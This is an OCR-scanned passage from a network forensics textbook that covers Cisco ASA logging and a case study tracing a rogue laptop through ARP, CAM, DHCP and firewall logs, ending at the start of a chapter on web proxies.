UNIX-based operating systems. You can use syslog to record a wide variety of system events,
from authentication to VPN to DHCP to system errors.

Years ago, one of the most notorious problems with Cisco IOS devices was that they
only gave you the ability to specify one log host and one log facility, with logs from many
different types of events all mixed together. Older versions of IOS did not give administrators
the ability to separate different types of events to different facilities. As a result, network
operators did not use Syslog as much as they otherwise might have.

Modern versions of Cisco I0S, and many other types of network devices, now allow
administrators to specify different classes of events and multiple remote logging hosts.®
Many even support TLS/SSL-encrypted syslog transport. The precise capabilities of each
device vary depending on the manufacturer, model, and software version.

Below is a simple example of configuring remote syslog logging on a Cisco ASA 5505
Version 8.3 named “ant-fw.” In this case, we set the logging facility to 19 (local3) and
configured the firewall to send syslog messages of severity levels 0, 1, 2, and 3 to a syslog
server (192.168.30.30) on the “inside” interface.

ant-fw(config)# logging facility 19
ant-fw(config)# logging trap errors
ant-fw(config)# logging host inside 192.168.30.30

By default, this sends Syslog messages to UDP port 514 on the remote host. Modern
versions of Cisco IOS also support TCP. (Please see Chapter 8, “Event Log Aggregation,
Correlation, and Analysis” for more information about event logging.)

8. “Cisco ASA 5500 Series Command Reference, 8.2—logging asdm—Ilogout message [Cisco ASA 5500 Se-
ries Adaptive Security Appliances|—Cisco Systems,” 2011, http://www.cisco.com/en/US/docs/security/
asa/asa82/command/reference/12.html#wpl772754.
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9.7 Conclusion 355

9.6.4 Authentication, Authorization, and Accounting Logging

It is increasingly common to find networking equipment that leverages central authentica-
tion, authorization, and accounting (AAA) servers as a back-end to what would otherwise
appear to be front-end decisions as to whom to allow onto the network in the first place.
This topic could easily include a bevy of protocols and acronyms (from 802.1X to TACAC-
S/TACACS+/RADIUS to PEAP and LEAP). From an investigator’s perspective, however,
the concept is fairly simple, and the strategy fairly straightforward.

In a well-architected and centrally managed environment, switches, routers, and firewalls
typically handle authentication attempts by forwarding requests to a central authentication
authority. Subsequent requests for specific access will likewise be brokered by the device,
relying on the central authorization authority. All of these transactions, successful or not,
are recorded in a central accounting database.

As an investigator, such a system can be a positive boon, even if you don’t know much
(or anything) about the various 802.1X protocols involved.

9.7 Conclusion

Switches, routers, and firewalls connect, route, and filter traffic of all natures across networks.
As a result, these devices may contain a wide range of evidence, from network configurations
to logs relating to specific events of interest.

In this chapter, we reviewed the different types of evidence found on switches, routers,
and firewalls, and discussed strategies for approaching evidence collection and analysis from
network infrastructure devices. We also discussed the different types of storage media found
in networking equipment, as well as common interfaces and log configurations.

Throughout, we studied forensic investigation of different types of networking devices,
classified according to their traditional functions as “switches,” “routers,” and “firewalls.”
Although this distinction may be blurred in real life, it is helpful for the purposes of discus-
sion to examine different types of functionality and the kinds of evidence they produce.
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9.8 Case Study: Ann’s Coffee Ring

The Case: Ann is on the move again, looking to poach secret recipes. She’s discovered that
she can walk into the main lobby of the International Chaos Cookie Company (ICCC), and
that if she walks through as though she has somewhere to be and knows where she’s going,
she can breeze past the receptionist who is busy with other concerns.

After wandering around purposefully for a while, Ann chooses an out-of-the-way and
unused conference room, sits down, jacks in to an Ethernet panel, and begins looking for the
database server she discovered during some previous reconnaissance . . .

Meanwhile ... Ann has forgotten that she configured her laptop to maintain a persistent
connection to an IRC channel where she chats with other data thieves. When she jacks into
the ICCC’s internal network her laptop (192.168.30.105) tries to make the outbound IRC
connection (destination port 6667/TCP), which is prohibited by policy. Local security staff
are alerted. Presuming a compromised system on the network, they try to locate it and
track the port to the conference room. Realizing that there shouldn’t even be a computer
in that room, security staff rush over, but when they get there it is empty. A seat is still
warm, though, and there is a coffee mug ring on the table, still wet.

Challenge: The ICCC has for the moment an open-ended question. There’s been an anoma-
lous event associated with suspicious device. An IDS alert was logged at 16:47:48 on 4/29/11
concerning an outbound IRC communication attempt from internal host 192.168.30.105 to
port 6667/TCP on an external host.

You are the investigator ...

e Map the suspect IP address back to a MAC address.
e Track the MAC address to the physical ports it used.

e Build a timeline of the suspicious system’s activities in order to determine if it was a
bad actor, and if so, to scope the extent of compromise.

Addressing the following questions will help guide your investigation:

e When the suspicious system came online, it might have attempted to acquire a DHCP
address. Are there lease assignment logs and, if so, what evidence do they contain?

e Typically, DHCP servers in enterprises are configured to provide clients with not just
an [P address, but also important local configuration information such as the IP
address of the local gateway and DNS server(s). Once received, the client must send
broadcast ARP traffic to the local network in order to obtain the corresponding MAC
address(es) of the local gateway, DNS server, or other important servers. Can you find
evidence that the suspicious system did this?

e The CAM table from the switch should be able to tell you which physical port the
system is connected to—or was—if you move quickly enough. Can you identify the
physical port?
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e Based on the timeline you developed, what activities was the suspicious system en-
gaged in during the time frame of interest?

Evidence: Security staff at the ICCC collect DHCP lease logs, and ARP tables, and CAM
tables as expediently as they can at your request. You are provided with the following files
containing data to analyze:

e fw-evidence.txt—A text file containing the output of an inspection of the running
Cisco ASA firewall. This is the device that provides DHCP service on the internal
segment (192.168.30.0/24) and is also the core switch for that subnet.

e dhcp.log—The text file containing the remotely logged DHCP lease history from the
firewall.

o firewall.log—A text file containing the remotely aggregated logs from the firewall.

9.8.1 Firewall Diagnostic Commands

A quick survey of fw-evidence.txt shows that someone has been kind enough to run some
diagnostic commands for us on a Cisco ASA v8.3(2) device:

[...]
ant-fw# show run
Saved

ASA Version 8.3(2)
[...]

Along with the running configuration, we’ve got both the ARP and CAM tables, preceded
by a system clock reading to establish the beginning bounds of the time frame for the
inspection. Looking first at the clock and the ARP table below, we learn that as of 16:52:48,
the suspect system (192.168.30.105) was linked to the MAC address 00:26:22:¢b:10:17, and
the last ARP reply was just 138 seconds prior:

ant-fw# show clock

16:52:48.927 MDT Fri Apr 29 2011

ant-fw# show arp
inside 192.168.30.30 0008.742d.2f94 38
inside 192.168.30.50 0012.3f65.a7el 51
inside 192.168.30.105 0026.22cb.1017 138

[...]

Looking further at the CAM table as it was captured thereafter (shown below), we see
that the MAC address in question was dynamically assigned as a member of VLAN 0001
to port Et0/6. Note also that the reported “age” associated with 00:26:cb:10:17 was 205
seconds. Recall that this represents the remaining number of seconds until the entry expires
(300 seconds total), and so this entry was last updated 95 seconds prior, at 16:51:13.



358 Chapter 9  Switches, Routers, and Firewalls

ant-fw# show switch mac-address-table

Legend: Age - entry expiration time in seconds
Mac Address | VLAN | Type | Age | Port
0008.742d.2£94 | 0001 | dynamic | 287 | Et0/5
0008.74a0.2e02 | 0001 | dynamic | 082 | Et0/7
000b.cdc2.e491 | 0001 | dynamic | 082 | Et0/3
0012.3f65.a7e1 | 0001 | dynamic | 246 | Et0/2
0012.7964.£f718 | 0001 | dynamic | 082 | Et0/4
0026.22cb.1017 | 0001 | dynamic | 205 | Et0/6
d0d0.fdc4.0994 | 0001 | static | - | InO/1
ffff . ffff.ffff | 0001 | static broadcast | - | In0O/1,Et0/0-7
0001.031a.d5f6 | 0002 | dynamic | 164 | Et0/0
5475.d0ba.522a | 0002 | dynamic | 164 | Et0/0
d0d0.fdc4.0994 | 0002 | static | - | In0/1
ffff.ffff.ffff | 0002 | static broadcast | - | In0O/1,Et0/0-7
0008.74d5.e0c4 | 0003 | dynamic | 246 | Et0/1
d0d0.fdc4.0994 | 0003 | static | - | InO/1
ffff . ffff.ffff | 0003 | static broadcast | - | In0O/1,Et0/0-7
Total Entries: 15

For further reference in mapping ports to MAC addresses to IP addresses, the VLAN
declarations are seen below as follows:

ant-fw# show switch vlan

VLAN Name Status Ports

1 inside up Et0/2, Et0/3, Et0/4, Et0/5
Et0/6, Et0/7

2 outside up Et0/0

3 dmz up Et0/1

From the configuration, we can see that the ASA has eight interfaces and is configured
with three VLANs (named “inside,” “outside,” and “dmz”).

9.8.2 DHCP Server Logs

Looking further at the running firewall config, we see the following lines (among many
others):

[...1]

logging enable

logging timestamp

logging list notification-dhcp-fw level notifications
[...1

logging host inside 192.168.30.30

[...1

dhcpd address 192.168.30.100-192.168.30.131 inside
dhcpd enable inside

[...1]

The firewall does indeed appear to be providing DHCP on the “inside” interface, and it
appears that it is logging lease assignments to a remote syslog server (port 514/UDP)



9.8 Case Study: Ann’'s Coffee Ring 359

on inside host 192.168.30.30. That’s where we could go to get confirmation of the lease
assignment to 192.168.30.105.

Sure enough, we find confirmation in the “dhcp.log” file from the central log server by
using the “grep” command to find all the entries for the suspicious IP address. There is only
one matching entry:

$ grep '192\.168\.30\.105' dhcp.log
2011-04-29T16:47:35-06:00 ant-fw : /,ASA-6-604103: DHCP daemon interface
inside: address granted 0026.22cb.1017 (192.168.30.105)

As we assumed, the firewall assigned the IP address in question to the MAC address we’ve
identified. This happened at 16:47:35, which corresponds with what we’ve seen so far. Since
we suspect the system to be either compromised or at least to be behaving anomalously, we
might also want to determine what other IP addresses it’s been assigned and when (if any).

Again, we use the “grep” command to search through the log file, but this time we’re
searching for the MAC address, using the format recorded by the Cisco device:

$ grep '0026\.22cb\.1017"' dhcp.log

2011-04-29T16:47:35-06:00 ant-fw : %ASA-6-604103: DHCP daemon interface
inside: address granted 0026.22cb.1017 (192.168.30.105)

$ head -1 dhcp.log

2011-04-29T16:02:39-06:00 ant-fw : %ASA-6-604103: [...]

Above we can see that the system in question has not shown up elsewhere in the DHCP
logs since this file began on 4/29/11 sometime prior to 16:02:39. (The “head” command
shows us just the first entry in the file, so we can see the starting timestamp.)

0.8.3 The Firewall ACLs

Now that we’ve established that 192.168.30.105 was a member of the “inside” VLAN and
was topologically on an internal port, let’s return to the firewall configuration to have a
look at the applicable ACLs. From this we should be able to figure out which actions should
have been allowed, denied, and/or logged for future inspection.

Shown below, we can see that there are three access lists (inside, dmz, and outside) and
that they are assigned to each of the three interfaces as follows:

access-1list inside extended permit icmp 192.168.30.0 255.255.255.0 any log

access-1list inside extended permit tcp 192.168.30.0 255.255.255.0 172.30.1.0
255.255.255.0 eq ftp log

access-list inside extended permit tcp 192.168.30.0 255.255.255.0 host
10.30.30.20 eq domain log

access-list inside extended permit udp 192.168.30.0 255.255.255.0 host
10.30.30.20 eq domain log

access-list inside extended permit udp 192.168.30.0 255.255.255.0 host
10.30.30.20 eq ntp 1log

access-1list inside extended permit tcp 192.168.30.0 255.255.255.0 any eq www
log

access-list inside extended permit tcp 192.168.30.0 255.255.255.0 host
10.30.30.20 eq ssh 1log

access-list dmz extended [...]
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access-list outside extended [...]
access-group inside in interface inside
access-group outside in interface outside
access-group dmz in interface dmz

Translated into English, what we see is that the ICCC’s internal hosts are allowed to
send ICMP and web traffic anywhere; connect via FTP to external systems; exchange DNS,
NTP, and SSH traffic with the DMZ server (10.30.30.20); and that all permitted actions
shown above are logged.

9.8.4 Firewall Log Analysis

Previously, in our running firewall configuration, we saw that logging is enabled generally
(not just for DHCP leases). Consequently, we should explore the logging host (192.168.30.30)
for other logs from the firewall that might be able to shed light on the suspicious IP’s
activities. We should expect to see any actions that are permitted, as well as logs for those
denied.

Looking at “firewall.log” from the loghost (which has been pared down to the time frame
of interest to make it simpler to work through), we see a number of important events. The
first one is the firewall/switch reporting that port Ethernet0/6 changed state to “up” at
16:45:13. That is a definitive record that the port’s state changed from disconnected to
connected:

2011-04-29T16:45:13-06:00 ant-fw
Ethernet0/6,

%ASA-4-411001:
changed state to up

Line protocol on Interface

We see that 23 seconds later, the suspicious system sent DNS traffic (perhaps DNS
queries) to “dmz/10.30.30.20(53).”

As you can see in the logs below, 192.168.30.105 sent traffic on UDP port 53 to the local
DNS server (10.30.30.20) a total of 16 times over the course of one minute and 15 seconds,
between 16:47:36 and 16:48:51.

$ cat firewall.log |grep \(53\)|grep '192\.168\.30\.105"

2011-04-29T16

:47:36-06:00 ant-fw

%ASA-6-106100:

access-1list inside

permitted udp inside/192.168.30.105(44724) -> dmz/10.30.30.20(53)
2011-04-29T16:47:36-06:00 ant-fw %ASA-6-106100: access-list inside
permitted udp inside/192.168.30.105(42410) -> dmz/10.30.30.20(53)
2011-04-29T16:47:36-06:00 ant-fw %ASA-6-106100: access-list inside
permitted udp inside/192.168.30.105(36088) =-> dmz/10.30.30.20(53)
2011-04-29T16:47:36-06:00 ant-fw %ASA-6-106100: access-list inside
permitted udp inside/192.168.30.105(33475) -> dmz/10.30.30.20(53)
2011-04-29T16:47:48-06:00 ant-fw %ASA-6-106100: access-1list inside
permitted udp inside/192.168.30.105(48153) -> dmz/10.30.30.20(53)
2011-04-29T16:47:48-06:00 ant-fw %ASA-6-106100: access-1list inside
permitted udp inside/192.168.30.105(41901) -> dmz/10.30.30.20(53)
2011-04-29T16:47:48-06:00 ant-fw %ASA-6-106100: access-list inside
permitted udp inside/192.168.30.105(56884) -> dmz/10.30.30.20(53)
2011-04-29T16:47:48-06:00 ant-fw %ASA-6-106100: access-list inside
permitted udp inside/192.168.30.105(60365) -> dmz/10.30.30.20(53)

2011-04-29T16
permitted

:47:49-06:00 ant-fw

udp inside/192.168.

%ASA-6-106100:
30.105(36196) ->

access-1list inside
dmz/10.30.30.20(53)
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2011-04-29T16:
permitted
2011-04-29T16:
permitted
2011-04-29T16:
permitted
2011-04-29T16:
permitted
2011-04-29T16:
permitted
2011-04-29T16:
permitted
2011-04-29T16:
permitted

Ann’s Coffee Ring

47:49-06:00 ant-fw
udp inside/192.168.
47:49-06:00 ant-fw
udp inside/192.168.
47:49-06:00 ant-fw
udp inside/192.168.
47:49-06:00 ant-fw
udp inside/192.168.
47:49-06:00 ant-fw
udp inside/192.168.
48:51-06:00 ant-fw
udp inside/192.168.
48:51-06:00 ant-fw
udp inside/192.168.

%ASA-6-106100:
30.105(43763) ->
%ASA-6-106100:
30.105(47979) ->
%ASA-6-106100:
30.105(47465) ->
%ASA-6-106100:
30.105(38776) ->
%ASA-6-106100:
30.105(33464) ->
%ASA-6-106100:
30.105(37752) ->
%ASA-6-106100:
30.105(44679) ->

access-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-list inside
dmz/10.30.30.20(53)

..

..

-]

-]

361

Our suspect, 192.168.30.105, seems to be a chatty system. Let’s see if we can figure out
what it’s doing. Here is the beginning of the firewall log:

$ head firewall.log

2011-04-29T16:

Ethernet0/6,
:47:36-06:00 ant-fw

2011-04-29T16
permitted
2011-04-29T16
permitted
2011-04-29T16
permitted
2011-04-29T16
permitted
2011-04-29T16

45:13-06:00 ant-fw

udp inside/192.168.

:47:36-06:00 ant-fw

udp inside/192.168.

:47:36-06:00 ant-fw

udp inside/192.168.

:47:36-06:00 ant-fw

udp inside/192.168.

:47:37-06:00 ant-fw

%ASA-4-411001:

changed state to up

%ASA-6-106100:
30.105(44724) ->
%ASA-6-106100:
30.105(42410) ->
%ASA-6-106100:
30.105(36088) ->
%ASA-6-106100:
30.105(33475) ->
%ASA-4-106023:

Line protocol on Interface

access-list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-list inside
dmz/10.30.30.20(53)
Deny udp src inside

[...

:192.168.30.105/123 dst outside:91.189.94.4/123 by access-group "inside"

[0x0, 0x0]

2011-04-29T16:47:48.009774-06:00 ant-fw

[...1

last message repeated 3 times

In the first line above, we see Et0/6 go up at 16:45:13. We then see 192.168.30.105 success-
fully send four UDP datagrams to 10.30.30.20:53 (likely DNS queries) at 16:47:36. Next, we
see 192.168.30.105 unsuccessfully attempt to send four UDP datagrams to 91.189.94.4:123
(likely NTP requests). Referring back to our ACLs, we should expect this result: internal
systems are not allowed to use external systems for NTP. So then the question is, what sort
of internal system would try such a thing? What is 91.189.94.4 and why would it be used
for NTP by an internal system?

$ dig -x 91.189.94.4

[...1

;; QUESTION SECTION:

;4.94.189.91.in-addr . arpa.

IN

;; ANSWER SECTION:

4.94.189.91.in-addr.arpa.

[...]

3600

IN

PTR

PTR europium.canonical.com.

So who is this “canonical.com”? That’s where Ubuntu Linux lives (see Figure 9-1).
Often, Ubuntu Linux clients are configured by to obtain NTP information from Ubuntu
servers, so it’s reasonable to hypothesize that the suspicious system was running Ubuntu
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P~

Overview | Canonical
(4 ) '-\g;-' () '.\i/.' I.\@ http:/ /www.canonical.com/about-canonicalE&

Delivering Ubuntu

Canonical's platform team leads the Ubuntu project and brings together the
passion and genius of the open-source community. Released every six months,
each new edition of Ubuntu is better than the last, harnessing new technologies to
make it quicker, easier and more intuitive than ever.

- About Ubuntu

- Visit the Ubuntu website

Figure 9-1. Canonical.com, the home of Ubuntu.

Linux. According to ICCC staff, internal corporate clients are configured to use the DMZ
server 10.30.30.20 for NTP. This is a pretty strong indication that we have a noncorporate
system in our midst!

Below we see the next things that happen—all in the same few seconds:

2011-04-29T16
permitted
2011-04-29T16
permitted
2011-04-29T16
permitted
2011-04-29T16
permitted
2011-04-29T16:

:192.168.30.105/50885 dst outside:140.211.167.

inside" [0
2011-04-29T16:
permitted
2011-04-29T16:
permitted
2011-04-29T16:
permitted
2011-04-29T16:
permitted
2011-04-29T16:
permitted
2011-04-29T16:
permitted

:47:48-06:00 ant-fw

udp inside/192.168.

:47:48-06:00 ant-fw

udp inside/192.168.

:47:48-06:00 ant-fw

udp inside/192.168.

:47:48-06:00 ant-fw

udp inside/192.168.
47:48-06:00 ant-fw

x0, 0x0]

47:49-06:00 ant-fw
udp inside/192.168.
47:49-06:00 ant-fw
udp inside/192.168.
47:49-06:00 ant-fw
udp inside/192.168.
47:49-06:00 ant-fw
udp inside/192.168.
47:49-06:00 ant-fw
udp inside/192.168.
47:49-06:00 ant-fw
udp inside/192.168.

%ASA-6-106100:
30.105(48153) ->
%ASA-6-106100:
30.105(41901) ->
%ASA-6-106100:
30.105(56884) ->
%ASA-6-106100:
30.105(60365) ->
%ASA-4-106023:

%ASA-6-106100:
30.105(36196) ->
%ASA-6-106100:
30.105(43763) ->
%ASA-6-106100:
30.105(47979) ->
%ASA-6-106100:
30.105(47465) ->
%ASA-6-106100:
30.105(38776) ->
%ASA-6-106100:
30.105(33464) ->

access-1list inside
dmz/10.30.30.20(53)
access—-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
Deny tcp src inside

99/6667 by access-group

access-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)
access-1list inside
dmz/10.30.30.20(53)

We could use “grep” to easily filter out all that port 53/UDP traffic to the DNS server,
but keeping it in view for the moment puts the other connection attempts in some con-
text. Besides the fact that a process on the suspecious system likely attempted to resolve
names/addresses, a process on the same system also tried to connect outbound to port
6667/TCP on host 140.211.167.99. This happened at 16:47:48, which corresponds with the
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timestamp that ICCC’s security folks reported was on the initial IDS alert. The firewall
denied the attempt, and also provided corroboration that we’re on the right path.
Meanwhile, let’s learn more about the destination 140.211.167.99:

$ whois 140.211.167.99

[...1]

NetRange: 140.211.0.0 - 140.211.255.255
CIDR: 140.211.0.0/16

[...1]

OrgName: Oregon State System of Higher Education
Orgld: 0SSHE-1

Address: 1225 Kincaid, U0 Campus

City: Eugene

StateProv: OR

PostalCode: 97403

Country: Us

[...1]

So what might be hosted in Oregon that is of interest to our intruder at that specific
address? Does it have a name?

$ dig -x 140.211.167.99

[...]

;5 QUESTION SECTION:
;399.167.211.140.in-addr.arpa. IN PTR

;; ANSWER SECTION:
99.167.211.140.in-addr.arpa. 43200 IN PTR zelazny.freenode.net.
[...1]

That’s a published freenode IRC node,” which makes sense since port 6667/TCP is by
default assigned to IRC. The connection was blocked, and so we have no way of knowing
what channel the suspect system was trying to join.

About a full minute later, we see the following entries in the logs, all occurring in the
same second:

2011-04-29T16:48:51-06:00 ant-fw : %ASA-6-106100: access-list inside
permitted udp inside/192.168.30.105(37752) -> dmz/10.30.30.20(53) [...]

2011-04-29T16:48:51-06:00 ant-fw : %ASA-6-106100: access-list inside
permitted udp inside/192.168.30.105(44679) -> dmz/10.30.30.20(53) [...]

2011-04-29T16:48:51-06:00 ant-fw : %ASA-3-710003: TCP access denied by ACL
from 192.168.30.105/63019 to inside:192.168.30.10/22

2011-04-29T16:48:51-06:00 ant-fw : %ASA-3-710003: TCP access denied by ACL
from 192.168.30.105/63020 to inside:192.168.30.10/22

It makes sense that connection attempts from the suspicious system to port 22/TCP
of the firewall’s internal interface would be denied. There is nothing within the firewall’s
running configuration that indicated that such attempts should be allowed. This raises the
question of why the suspicious system attempted to connect directly to the firewall on port
22/TCP. Did it target that system specifically, or did it merely probe the local segment for

9. “About freenode: IRC Servers,” 2011, http://freenode.net/irc_servers.shtml.
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port 22/TCP listeners? Based on the ACLs listed above, it doesn’t appear that this log file
alone can tell us.

A few seconds later we see some port 53/UDP activity originating from the loghost to
the DNS server, which may or may not be related to anything else we’re seeing here. After
all, the loghost may potentially need to perform DNS lookups as part of its routine activity.

Then about 90 seconds later, we see something unusual:

2011-04-29T16:50:28-06:00 ant-fw : %ASA-4-106023: Deny tcp src inside
:192.168.30.105/56145 dst outside:192.168.1.50/22 by access-group "inside"
[0x0, 0x0]
2011-04-29T16:50:35-06:00 ant-fw : %ASA-6-106100: access-1list inside
permitted udp inside/192.168.30.50(44420) -> dmz/10.30.30.20(53) [...]
2011-04-29T16:50:51-06:00 ant-fw : %ASA-6-106100: access-list inside
permitted udp inside/192.168.30.50(38004) -> dmz/10.30.30.20(53) [...]

Let’s consider the first line above. Our suspicious system (192.168.30.105) attempted to
connect to port 22/TCP on host 192.168.1.50 and was denied. Inspection of the interface
definitions within the ASA’s running configuration show that the “inside” interface is on a
“192.168.30.0/24” network, distinct from 192.168.1.0. Given that “192.168.1.50” is a non-
routable IP address which is not part of the local network configuration, perhaps the user of
the suspicious system fat-fingered the destination address and typed “192.168.1.50” when he
or she meant to type “192.168.30.50.” Lucky for us! If the suspicious system (192.168.30.105)
subsequently attempted to access 192.168.30.50, this would not have appeared in the firewall
logs because the systems are on the same local subnet. Seven seconds later we see an internal
system, 192.168.50.50, made a DNS query, and it made another 16 seconds after that.

Sidebar: Stimulus and Response

While DNS traffic is rightly seen as a query/response protocol, keep in mind that DNS
queries themselves often occur in response to some other stimulus on the system. Some
process or other needs to resolve something, and triggers a request. From this perspective,
all DNS queries should be considered a potential indication of some system- or network-
based event, whether easily discoverable or obscure. Commonly, DNS requests occur when a
system user attempts to make an outbound connection to a destination station by its name.

Finally, six and a half minutes after port Et0/6 came up on the Cisco ASA, the state
changed to “down.”

0.8.5 Timeline

Based on what we’ve discovered so far, we can begin to interleave our evidence into a time-
based narrative. Here’s what transpired on 4/29/11 that seems to be of interest to us:

e 16:45:13—Physical port “Ethernet0/6” on the switch changed state to “up” (from
firewalls.txt). Working backward from the Cisco ASA’s ARP and CAM table entries
(in fw-evidence.txt), we know that this port was subsequently mapped to MAC address
00:26:22:¢cb:10:17. We also note that the state of this port did not appear to change
for the duration of this timeline of events of interest.
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16:47:35—DHCP address 192.168.30.105 was leased to 00:26:22:¢b:10:17 (from dhcp
Jlog).

16:47:36-16:47:48—Unknown system with MAC address 00:26:22:¢b:10:17 and IP
address 192.168.30.105 made what may be DNS queries, followed immediately by
NTP connection attempts to an outside server (from firewall.log). The NTP traffic
was blocked by policy. The destination address of the NTP traffic implies that this is
a non-ICCC Ubuntu system.

16:47:48—192.168.30.105 attempted to connect to 6667/TCP on outside “freenode”
zelazny.freenode.net (140.211.167.99) and was denied by the firewall (from firewall.log).
This is the event that triggered the IDS alert, which was the impetus of this
investigation.

16:47:49—192.168.30.105 made six more likely DNS queries (from firewall.log).

16:48:51—192.168.30.105 made two more likely DNS queries. It also attempted to
connect directly to port 22/TCP on the firewall’s inside interface (from firewall.log).

16:50:28—-192.168.30.105 attempted to connect to port 22/TCP on 192.168.1.50, and
was denied by the firewall (from firewall.log).

16:50:30—The last ARP reply seen from 00:26:22:cb:10:17 (192.168.30.105) by the
switch. This is from fw-evidence.txt, whereby we subtract the age of the last entry
for that mapping (138 seconds) from the value of the system clock from the preceding
command (16:52:48).

16:50:35—192.168.30.50 made a likely DNS query (from firewall.log).
16:50:51—Another likely DNS query originated from 192.168.30.50 (from firewall.log).

16:51:13—The last time the switch recorded traffic from the suspicious system
00:26:22:¢b:10:17, based on the CAM table.

16:51:33—Physical port “Ethernet0/6” on the switch changed state to “down.”
16:52:48—Diagnostic script pulled data from running firewall. The hunt begins ...

9.8.6 Theory of the Case

Based on the events of interest that we’ve been able to stitch into a timeline, we need to
construct a theory, or theories, that sufficiently explain the observed events, and that can
be evaluated with some form of rigor.

9.8.6.1 Summary of Events

It is often best to first summarize what is known about the events observed. These statements
should essentially be literal translations of digital records into human-language items, such
that anyone familiar with the format of the records would agree as to their meaning. Here
is such a summary of our survey of evidence so far:

At 16:45:13 on 4/29/11, a previously unseen and unidentified device (00:26:22:cb:10:17)
physically connected to the Ethernet port in an unoccupied conference room. A few
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minutes later the device tripped IDS alerts and firewall logs by attempting an outbound
connection on port 6667/UDP (likely IRC).

e The ICCC leveraged the data and evidence generated by the “conference area” switch/
router/firewall (the Cisco ASA) and determined:

— The device, 00:26:22:cb:10:17, successfully used DHCP to obtain IP address
192.168.30.105 at 16:47:35.

— Categorized as a “noncorporate system” due to its NTP traffic, it attempted
policy-prohibited outbound connections for likely NTP, IRC, and SSH services
(in that sequence) from 16:47:36 to 16:50:28.

— The rogue device attempted SSH connections to the inside interface of the fire-
wall, which were denied and logged at 16:48:51, and another to nonroutable host
192.168.1.50, roughly a minute and a half later, which was also denied and logged.

— Perhaps related: 192.168.30.50 began sending likely DNS queries approximately
six seconds later.

e Roughly one minute later, at approximately 16:51:33, the suspicious device
(00:26:22:¢b:10:17) physically disconnected from the port in the conference room and
was not seen to reconnect to the network.

9.8.6.2 Potential Explanations

Rogue system It appears that the suspicious device in question is a “noncorporate” or
“rogue” system. Based on the evidence, it behaved outside of what would fit with the normal
corporate device configuration or corporate policy. It may be the case that the device was
a corporate system that was modified to behave inappropriately, or it may be an outside
system entirely, trespassing on the internal network. The device’s physical location in an
unused conference room further underscores the potential for unauthorized access.

Prohibited connection attempts The suspicious system attempted to connect via SSH to
the internal interface of the firewall. Not only is this disallowed by policy, it is unusual in
practice under all but a few circumstances. There are many possible explanations for this
unauthorized behavior, but the more common ones include:

e An authorized user (i.e., someone with knowledge of connection parameters) attempted
to connect from an unauthorized device.

e An unauthorized user attempted to connect from an unauthorized device. This in turn
could be a result of several different activities, including:

— Scanning of the network segment for active and accessible systems.
— Scanning of a host of interest for active listeners.

— Actively attempting to access a system identified as listening, either with knowl-
edge of credentials or by brute-force guessing.

One of the biggest challenges we face in this instance—at least at this moment—is that
we haven’t yet gained access to event log sources that might help us distinguish between
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these activities in order to better understand and interpret the level of threat that we face.
If we're going to sort out what really happened, we need to identify ways to test these
competing explanations.

9.8.7 Responses to Challenge Questions

Let’s look at how far we got with the questions we set out to answer to guide our investiga-
tion:

e When the suspicious system came online, it might have attempted to ac-
quire a DHCP address. Are there lease assignment logs and, if so, what
evidence do they contain?

There were, and from them we were able to see that at 16:47:35 the suspect IP address
192.168.30.105 was leased to 00:26:22:cb:10:17.

e Typically, DHCP servers in enterprises are configured to provide clients
with not just an IP address, but also important local configuration informa-
tion, such as the IP address of the local gateway and DNS server(s). Once
received, the client must send broadcast ARP traffic to the local network
in order to obtain the corresponding M AC address(es) of the local gateway,
DNS server, or other important servers. Can you find evidence that the
suspicious system did this?

Yes, we did. The ARP entries in the cache of the firewall were useful in framing the
time of our events of interest.

e The CAM table from the switch should be able to tell you which physical
port the system is connected to—or was—if you move quickly enough. Can
you identify the physical port?

We were able to inspect the switch and, knowing the MAC address we were looking
for, identified the physical port it was connected to (Ethernet0/6). (From there, of
course, it becomes a physical game of “follow the cable.”10)

e Based on the timeline you developed, what activities was the suspicious
system engaged in during the time frame of interest?
We were able to see that during the time frame of interest, the suspicious system
generated likely DNS, NTP, and SSH traffic. It attempted to make connections that
were prohibited by policy. The destination of the logged packets gave us further insight
as to the nature of the system. This helped us develop our theory of the case.

9.8.8 Next Steps

Let’s explore some ways we can test each of the possible theories we’ve posited above:

e Interview Authorized Personnel Hopefully, the list of personnel authorized to
access the ICCC’s firewalls via SSH is short, so that it is relatively easy to poll each in-
dividual to find out whether they attempted to SSH to the firewall from the conference
room.

10. Incidentally, this is why it is a good idea for a network forensic investigator to keep a good “tone-and-
trace” kit in his or her jump bag.
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Consider that if our poll is negative, we know that we have, or have had, a likely bad
actor present inside the trusted perimeter, both logically and physically. We cannot
yet distinguish whether this person is a trusted insider or an external intruder.

Review IDS and Packet Logs Malicious activities tend to be identifiable by the
patterns of stimulus and response upon which they depend to be effective. IDS and
other packet logs should be consulted to determine if such patterns exist. If we’re lucky,
we can correlate and interpret IDS logs in such a way that we can concentrate our
further investigation on the targeted systems, and those most at risk. It may, however,
be the unfortunate case that the ICCC has not instrumented their network sufficiently
to have recorded scanning activities on the segment of concern.

Review Authentication Logs It’s probably time to begin looking at host-based
authentication logs to determine whether or not accesses were attempted on any other
of ICCC’s systems from this suspicious device. Correlating the logs of the host-based
firewall with other authentication records for systems on the local segment could reveal
patterns that show not only the attacker’s intent, but perhaps also the amount of
previous knowledge, and can help scope the extent of the compromise.



Chapter 10
Web Proxies

“The hardest thing for people to grasp about the Web is that it has no center; any
computer (or node, in mathematical terms) can link to any other computer directly,
without having to go through a central connection point. They just need to know the rules
for communicating.”’

—Mark Fischetti, editor of Scientific American®

It’s a port-80 world out there (and, to a lesser extent, port 443 as well). As of 2009, web
traffic made up approximately 52% of all Internet traffic, and was growing at a rate of
24.76% per year.?

As a result, firewalls, which filter traffic based on Layer 3 and 4 protocol information such
as IP address and TCP ports, are no longer sufficient for protecting enterprise perimeters.
There has been an explosion of the use of “web proxies” and “web application gateways,”
